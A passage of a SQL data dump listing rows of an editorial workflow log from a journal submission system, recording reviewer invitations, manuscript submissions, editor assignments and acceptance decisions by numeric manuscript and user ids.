Reviewer',6973,'Publisher',673),(60448,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60449,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60450,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60451,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60452,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60453,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60457,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7039,'Author',8312),(60465,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6824,'Publisher',75),(60466,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6824,'Publisher',75),(60469,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7040,'Publisher',972),(60480,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60481,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60482,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60483,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60484,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60485,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60486,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60487,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60488,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6770,'Publisher',319),(60496,'0000-00-00 00:00:00','Publisher : Notified Author',6826,'Publisher',274),(60497,'0000-00-00 00:00:00','Publisher : Notified Author',6840,'Publisher',274),(60498,'0000-00-00 00:00:00','Publisher : Notified Author',6843,'Publisher',274),(60511,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7050,'Author',8320),(60530,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6971,'Publisher',274),(60546,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7017,'Publisher',248),(60547,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7017,'Publisher',248),(60548,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7017,'Publisher',248),(60549,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7017,'Publisher',248),(60550,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7017,'Publisher',248),(60551,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6984,'Publisher',248),(60552,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6984,'Publisher',248),(60553,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6984,'Publisher',248),(60554,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6984,'Publisher',248),(60555,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6984,'Publisher',248),(60556,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6984,'Publisher',248),(60557,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7022,'Publisher',48),(60558,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7022,'Publisher',48),(60559,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7022,'Publisher',48),(60560,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7022,'Publisher',48),(60561,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7022,'Publisher',48),(60562,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7014,'Publisher',48),(60563,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7014,'Publisher',48),(60564,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7014,'Publisher',48),(60565,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7014,'Publisher',48),(60574,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6888,'Publisher',988),(60577,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6875,'Publisher',988),(60578,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6875,'Publisher',988),(60593,'0000-00-00 00:00:00','Reviewer has submitted comments',6971,'Reviewer',15746),(60594,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6971,'Editor',1235),(60595,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6971,'Editor',1235),(60596,'0000-00-00 00:00:00','Publisher : Notified Author',6971,'Publisher',274),(60597,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6989,'Editor',194),(60598,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6989,'Editor',194),(60599,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6996,'Editor',194),(60600,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6996,'Editor',194),(60601,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7014,'Editor',194),(60602,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7014,'Editor',194),(60603,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7022,'Editor',194),(60604,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7022,'Editor',194),(60605,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7022,'Editor',194),(60606,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7022,'Publisher',48),(60607,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7022,'Publisher',48),(60608,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7014,'Publisher',48),(60609,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6996,'Publisher',48),(60610,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7050,'Publisher',988),(60611,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60612,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60613,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60614,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60615,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60616,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60617,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60618,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60619,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6973,'Publisher',673),(60633,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7060,'Author',8331),(60636,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7062,'Author',8333),(60637,'0000-00-00 00:00:00','Manuscript Submitted by Author',7063,'Author',7951),(60670,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7062,'Publisher',48),(60671,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7062,'Publisher',48),(60672,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7062,'Publisher',48),(60673,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7062,'Publisher',48),(60674,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7062,'Publisher',48),(60675,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7062,'Publisher',48),(60676,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7062,'Publisher',48),(60691,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6959,'Publisher',376),(60692,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6959,'Publisher',376),(60693,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6959,'Publisher',376),(60694,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6959,'Publisher',376),(60695,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6953,'Publisher',376),(60696,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6953,'Publisher',376),(60697,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6953,'Publisher',376),(60698,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6953,'Publisher',376),(60699,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6953,'Publisher',376),(60700,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7063,'Publisher',673),(60701,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60702,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60703,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60704,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60705,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60706,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60707,'0000-00-00 00:00:00','Publisher : Notified Editor',6880,'Publisher',673),(60708,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6880,'Publisher',673),(60709,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7031,'Publisher',85),(60710,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7030,'Publisher',85),(60711,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7029,'Publisher',85),(60712,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7067,'Author',8335),(60714,'0000-00-00 00:00:00','Reviewer has submitted comments',6973,'Reviewer',11354),(60715,'0000-00-00 00:00:00','Manuscript Submitted by Author',7069,'Author',6984),(60716,'0000-00-00 00:00:00','Manuscript Submitted by Author',7070,'Author',6984),(60723,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7072,'Author',8338),(60724,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7073,'Author',8339),(60727,'0000-00-00 00:00:00','Author sent Email',4920,'Author',6136),(60728,'0000-00-00 00:00:00','Reviewer has submitted comments',6960,'Reviewer',12022),(60729,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60730,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60731,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60732,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60733,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60734,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60735,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60740,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7070,'Publisher',274),(60741,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7069,'Publisher',274),(60742,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6960,'Editor',1235),(60743,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6960,'Editor',1235),(60744,'0000-00-00 00:00:00','Publisher : Notified Author',6960,'Publisher',274),(60745,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7069,'Publisher',274),(60752,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7030,'Editor',1291),(60753,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6944,'Publisher',48),(60754,'0000-00-00 00:00:00','Editor has Invited Reviewer',7030,'Editor',1291),(60755,'0000-00-00 00:00:00','Editor has Invited Reviewer',7030,'Editor',1291),(60756,'0000-00-00 00:00:00','Editor has Invited Reviewer',7030,'Editor',1291),(60757,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6191,'Editor',357),(60758,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6191,'Publisher',248),(60759,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6351,'Editor',358),(60760,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6351,'Publisher',248),(60768,'0000-00-00 00:00:00','Reviewer has submitted comments',6887,'Reviewer',12776),(60769,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6887,'Publisher',48),(60822,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7067,'Publisher',319),(60823,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7067,'Publisher',319),(60824,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7067,'Publisher',319),(60825,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7067,'Publisher',319),(60826,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7067,'Publisher',319),(60827,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7067,'Publisher',319),(60828,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7067,'Editor',1067),(60832,'0000-00-00 00:00:00','Author sent Email',6986,'Author',8256),(60870,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7062,'Editor',194),(60871,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7062,'Editor',194),(60872,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7062,'Publisher',48),(60873,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60874,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60875,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60876,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60877,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60878,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60879,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60880,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60881,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7063,'Publisher',673),(60882,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7073,'Publisher',248),(60883,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7072,'Publisher',248),(60891,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6466,'Editor',359),(60892,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6549,'Editor',359),(60893,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6915,'Editor',359),(60894,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7017,'Editor',359),(60895,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7072,'Editor',359),(60896,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7073,'Editor',359),(60897,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6984,'Editor',358),(60898,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6549,'Editor',358),(60899,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6239,'Editor',358),(60900,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6351,'Editor',358),(60901,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6351,'Publisher',248),(60902,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6351,'Publisher',248),(60903,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6466,'Editor',359),(60904,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6466,'Publisher',248),(60905,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60906,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60907,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60908,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60909,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60910,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60911,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60912,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60913,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60914,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60915,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60916,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60917,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60918,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60919,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60920,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60921,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60922,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60923,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60924,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60925,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60926,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60927,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60928,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60929,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60930,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7073,'Publisher',248),(60936,'0000-00-00 00:00:00','Manuscript Submitted by Author',7077,'Author',8264),(60937,'0000-00-00 00:00:00','Reviewer has submitted comments',7067,'Reviewer',12875),(60941,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7080,'Author',8346),(60944,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7050,'Publisher',988),(60945,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7050,'Publisher',988),(60946,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7050,'Publisher',988),(60951,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(60952,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(60953,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(60954,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(60955,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(60956,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(60957,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(60958,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(60959,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7031,'Publisher',85),(60968,'0000-00-00 00:00:00','Publisher : Notified Author',6826,'Publisher',274),(60969,'0000-00-00 00:00:00','Publisher : Notified Author',6840,'Publisher',274),(60970,'0000-00-00 00:00:00','Publisher : Notified Author',6843,'Publisher',274),(60971,'0000-00-00 00:00:00','Publisher : Notified Author',6960,'Publisher',274),(60972,'0000-00-00 00:00:00','Publisher : Notified Author',6971,'Publisher',274),(60973,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7070,'Publisher',274),(60974,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7070,'Publisher',274),(60975,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7070,'Publisher',274),(60976,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7070,'Publisher',274),(60977,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7070,'Publisher',274),(60978,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7070,'Publisher',274),(60979,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7070,'Publisher',274),(60993,'0000-00-00 00:00:00','Reviewer has updated comments',6973,'Reviewer',11355),(60994,'0000-00-00 00:00:00','Reviewer has updated comments',6973,'Reviewer',11355),(61000,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7080,'Publisher',48),(61001,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7080,'Publisher',48),(61002,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7080,'Publisher',48),(61027,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6707,'Editor',1394),(61028,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6707,'Editor',1394),(61029,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6707,'Publisher',85),(61030,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6707,'Publisher',85),(61034,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7077,'Publisher',48),(61035,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7077,'Publisher',48),(61036,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7077,'Publisher',48),(61037,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7077,'Publisher',48),(61038,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7077,'Publisher',48),(61039,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7077,'Publisher',48),(61040,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7077,'Publisher',48),(61041,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7077,'Publisher',48),(61057,'0000-00-00 00:00:00','Reviewer has submitted comments',6996,'Reviewer',15676),(61058,'0000-00-00 00:00:00','Reviewer has submitted comments',6996,'Reviewer',15676),(61062,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7084,'Publisher',645),(61067,'0000-00-00 00:00:00','Reviewer has submitted comments',7077,'Reviewer',5467),(61068,'0000-00-00 00:00:00','Reviewer has submitted comments',7077,'Reviewer',5467),(61069,'0000-00-00 00:00:00','Reviewer has submitted comments',6681,'Reviewer',5467),(61070,'0000-00-00 00:00:00','Reviewer has submitted comments',6681,'Reviewer',5467),(61071,'0000-00-00 00:00:00','Reviewer has submitted comments',6665,'Reviewer',5467),(61072,'0000-00-00 00:00:00','Reviewer has submitted comments',6665,'Reviewer',5467),(61073,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7086,'Author',8352),(61074,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7067,'Editor',1067),(61075,'0000-00-00 00:00:00','Reviewer has updated comments',6973,'Reviewer',11355),(61076,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7067,'Publisher',319),(61077,'0000-00-00 00:00:00','Reviewer has updated comments',6973,'Reviewer',11355),(61087,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7039,'Publisher',248),(61098,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7088,'Author',8356),(61191,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6784,'Publisher',85),(61205,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7089,'Author',8357),(61212,'0000-00-00 00:00:00','Manuscript Submitted by Author',7091,'Author',8358),(61218,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7084,'Publisher',645),(61219,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7084,'Publisher',645),(61220,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7084,'Publisher',645),(61221,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7084,'Publisher',645),(61222,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6996,'Publisher',48),(61223,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7093,'Author',8361),(61241,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7093,'Publisher',48),(61242,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7091,'Publisher',48),(61243,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7089,'Publisher',48),(61245,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(61246,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(61247,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(61248,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(61249,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(61250,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(61251,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(61252,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(61253,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6851,'Publisher',85),(61254,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6851,'Publisher',85),(61255,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6851,'Publisher',85),(61256,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6851,'Publisher',85),(61257,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6851,'Publisher',85),(61258,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6851,'Publisher',85),(61259,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6851,'Publisher',85),(61260,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6851,'Publisher',85),(61261,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6851,'Publisher',85),(61262,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6848,'Publisher',85),(61263,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6848,'Publisher',85),(61264,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(61265,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(61266,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(61267,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(61268,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(61269,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(61270,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(61271,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(61272,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7030,'Publisher',85),(61273,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7030,'Publisher',85),(61274,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7030,'Publisher',85),(61275,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7030,'Publisher',85),(61276,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(61277,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(61278,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(61279,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(61280,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(61281,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(61282,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(61283,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(61285,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7086,'Publisher',319),(61286,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7086,'Publisher',319),(61287,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7086,'Publisher',319),(61288,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7086,'Publisher',319),(61289,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7086,'Publisher',319),(61290,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7086,'Publisher',319),(61291,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7086,'Publisher',319),(61292,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7086,'Editor',1067),(61294,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7095,'Author',8363),(61310,'0000-00-00 00:00:00','Author sent Email',6644,'Author',7901),(61319,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7093,'Publisher',48),(61320,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7093,'Publisher',48),(61321,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7093,'Publisher',48),(61322,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7093,'Publisher',48),(61323,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7093,'Publisher',48),(61324,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7093,'Publisher',48),(61325,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7091,'Publisher',48),(61326,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7091,'Publisher',48),(61327,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7091,'Publisher',48),(61328,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7091,'Publisher',48),(61340,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7088,'Publisher',248),(61350,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7089,'Publisher',48),(61351,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7089,'Publisher',48),(61352,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7089,'Publisher',48),(61353,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7089,'Publisher',48),(61354,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7089,'Publisher',48),(61355,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7089,'Publisher',48),(61356,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7089,'Publisher',48),(61357,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7089,'Publisher',48),(61358,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7089,'Publisher',48),(61363,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7030,'Publisher',85),(61364,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7030,'Publisher',85),(61365,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7030,'Publisher',85),(61366,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7030,'Publisher',85),(61367,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7030,'Publisher',85),(61368,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7030,'Publisher',85),(61369,'0000-00-00 